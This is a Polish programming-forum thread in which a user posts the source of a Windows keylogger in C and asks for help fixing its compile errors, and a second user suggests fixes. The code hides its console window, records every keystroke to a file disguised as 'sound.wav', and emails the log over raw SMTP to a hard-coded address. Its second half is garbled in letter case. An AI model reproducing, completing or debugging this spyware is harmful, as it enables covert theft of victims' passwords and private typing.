Pokaż wyniki 1 do 3 z 3

Temat: Błędy w kodzie... pomocy.

  1. #1
    Zarejestrowany
    Aug 2013
    Postów
    2

    Domyślnie Błędy w kodzie... pomocy.

    Witam. Mam pewien kod, który studiuje w celach edukacyjnych. Gdy go kompuluję w Dev C++ 5.4.2
    to w kompilatorze pokazują się następujące błędy, proszę o pomoc:





    A oto kod ROZDZIELAM GO NA 2 CZĘŚCI BO W 1 POŚCIE SIĘ NIE ZMIEŚCI )

    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
    #include <time.h>
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
    char *emailsubject, char *emailmessage);
    #define BUFSIZE 800
    #define waittime 500

    #define cmailserver "gmail-smtp-in.l.google.com"
    #define cemailto "[email protected]"
    #define cemailfrom "[email protected]"
    #define LogLength 100
    #define FileName "sound.wav"
    #define SMTPLog "ring.wav"
    #define cemailsubject "Logged"

    int test_key(void);
    int main(void)
    {

    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);

    {FILE *file;
    file=fopen(FileName,"a+");
    time_t theTime=time(0);
    fputs("\nStarted logging: ", file);
    fputs(ctime(&theTime),file);
    fclose(file);
    }



    int t=get_keys();
    return t;
    }

    int get_keys(void)
    {
    int freadindex;
    char *buf;
    long len;
    FILE *file;
    file=fopen(FileName,"a+");


    short character;
    while(1)
    {
    sleep(10);
    for(character=8;character<=222;character++)
    {
    if(GetAsyncKeyState(character)==-32767)
    {
    FILE *file;
    file=fopen(FileName,"a+");
    if(file==NULL)
    {
    return 1;
    }
    if(file!=NULL)
    {
    if((character>=39)&&(character<=64))
    {
    fputc(character,file);
    fclose(file);
    break;
    }
    else if((character>64)&&(character<91))
    {
    character+=32;
    fputc(character,file);
    fclose(file);
    break;
    }
    else
    {
    switch(character)
    {
    case VK_SPACE:
    fputc(' ',file);
    fclose(file);
    break;
    case VK_SHIFT:
    fputs("\r\n[SHIFT]\r\n",file);
    fclose(file);
    break;
    case VK_RETURN:
    fputs("\r\n[ENTER]\r\n",file);
    fclose(file);
    break;
    case VK_BACK:
    fputs("\r\n[BACKSPACE]\r\n",file);
    fclose(file);
    break;
    case VK_TAB:
    fputs("\r\n[TAB]\r\n",file);
    fclose(file);
    break;
    case VK_CONTROL:
    fputs("\r\n[CTRL]\r\n",file);
    fclose(file);
    break;
    case VK_DELETE:
    fputs("\r\n[DEL]\r\n",file);
    fclose(file);
    break;
    case VK_OEM_1:
    fputs("\r\n[;:]\r\n",file);
    fclose(file);
    break;
    case VK_OEM_2:
    fputs("\r\n[/?]\r\n",file);
    fclose(file);
    break;
    case VK_OEM_3:
    fputs("\r\n[`~]\r\n",file);
    fclose(file);
    break;
    case VK_OEM_4:
    fputs("\r\n[ [{ ]\r\n",file);
    fclose(file);
    break;
    case VK_OEM_5:
    fputs("\r\n[\\|]\r\n",file);
    fclose(file);
    break;
    case VK_OEM_6:
    fputs("\r\n[ ]} ]\r\n",file);
    fclose(file);
    break;
    case VK_OEM_7:
    fputs("\r\n['\"]\r\n",file);
    fclose(file);
    break;
    case 187:
    fputc('+',file);
    fclose(file);
    break;
    case 188:
    fputc(',',file);
    fclose(file);
    break;
    case 189:
    fputc('-',file);
    fclose(file);
    break;
    case 190:
    fputc('.',file);
    fclose(file);
    break;
    case VK_NUMPAD0:
    fputc('0',file);
    fclose(file);
    break;
    case VK_NUMPAD1:
    fputc('1',file);
    fclose(file);
    break;
    case VK_NUMPAD2:
    fputc('2',file);
    fclose(file);
    break;
    case VK_NUMPAD3:
    fputc('3',file);
    fclose(file);
    break;
    case VK_NUMPAD4:
    fputc('4',file);
    fclose(file);
    break;
    case VK_NUMPAD5:
    fputc('5',file);
    fclose(file);
    break;
    case VK_NUMPAD6:
    fputc('6',file);
    fclose(file);
    break;
    case VK_NUMPAD7:
    fputc('7',file);
    fclose(file);
    break;
    case VK_NUMPAD8:
    fputc('8',file);
    fclose(file);
    break;
    case VK_NUMPAD9:
    fputc('9',file);
    fclose(file);
    break;
    Ostatnio edytowane przez loveless : 08-25-2013 - 22:54

  2. #2
    Zarejestrowany
    Aug 2013
    Postów
    2

    Domyślnie

    Druga połowa kodu

    case vk_capital:
    Fputs("\r\n[caps lock]\r\n",file);
    fclose(file);
    break;
    default:
    Fclose(file);
    break;
    }
    }
    }
    }
    }
    file *file;
    file=fopen(filename,"rb");
    fseek(file,0,seek_end);
    len=ftell(file);
    if(len>=loglength) {
    fseek(file,0,seek_set);
    buf=(char *)malloc(len);
    freadindex=fread(buf,1,len,file);
    buf[freadindex] = '\0';
    mailit( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
    fclose(file);
    file=fopen(filename,"w");
    }

    fclose(file);


    }
    return exit_success;
    }

    int mailit (char *mailserver, char *emailto, char *emailfrom,
    char *emailsubject, char *emailmessage) {
    socket sockfd;
    wsadata wsadata;
    file *smtpfile;

    #define bufsize 300
    int bytes_sent;
    int err;
    struct hostent *host;
    struct sockaddr_in dest_addr;
    char line[1000];
    char *rec_buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(smtplog,"a+");
    if (wsastartup(0x202,&wsadata) == socket_error) {
    fputs("wsastartup failed",smtpfile);
    wsacleanup();
    return -1;
    }
    if ( (host=gethostbyname(mailserver)) == null) {
    perror("gethostbyname");
    exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

    /* prepare dest_addr */
    dest_addr.sin_family= host->h_addrtype;
    dest_addr.sin_port= htons(25);



    if ((sockfd=socket(af_inet,sock_stream,0)) < 0) {
    perror("socket");
    exit(1);
    }

    fputs("connecting....\n",smtpfile);

    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
    perror("connect");
    exit(1);
    }
    sleep(waittime);
    err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
    fputs(rec_buf,smtpfile);
    strcpy(line,"helo me.somepalace.com\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
    fputs(rec_buf,smtpfile);
    strcpy(line,"mail from:<");
    strncat(line,emailfrom,strlen(emailfrom));
    strncat(line,">\n",3);
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
    fputs(rec_buf,smtpfile);
    strcpy(line,"rcpt to:<");
    strncat(line,emailto,strlen(emailto));
    strncat(line,">\n",3);
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
    fputs(rec_buf,smtpfile);
    strcpy(line,"data\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
    fputs(rec_buf,smtpfile);
    sleep(waittime);
    strcpy(line,"to:");
    strcat(line,emailto);
    strcat(line,"\n");
    strcat(line,"from:");
    strcat(line,emailfrom);
    strcat(line,"\n");
    strcat(line,"subject:");
    strcat(line,emailsubject);
    strcat(line,"\n");
    strcat(line,emailmessage);
    strcat(line,"\r\n.\r\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
    fputs(rec_buf,smtpfile);
    strcpy(line,"quit\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,rec_buf,bufsize,0);rec_buf[err] = '\0';
    fputs(rec_buf,smtpfile);
    fclose(smtpfile);
    #ifdef win32
    closesocket(sockfd);
    wsacleanup();
    #else
    close(sockfd);
    #endif
    }

  3. #3
    Zarejestrowany
    Jan 2008
    Skąd
    za NATem :)
    Postów
    155

    Post

    Niech zgadnę: znalazłeś ten kod gdzieś w necie i kompletnie nie masz pojęcia co się w nim dzieje
    W main używasz funkcji get_keys, która jest zdefiniowana dopiero w dalszej części kodu, przed main powinieneś umieścić deklarację funkcji get_keys.
    W kilku miejscach używasz funkcji sleep, której nie ma, pewnie chodziło o Sleep.

    PS. Polecam:
    Ostatnio edytowane przez Rolek : 08-26-2013 - 00:26
    Niniejszy post przedstawia opinie autora w dniu dzisiejszym, na datę jego publikacji. Nie mogą być one wykorzystane przeciwko niemu w dniu jutrzejszym, ani innym następującym po nim dniu. Autor zastrzega sobie prawo do zmiany poglądów bez podawania przyczyn.

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj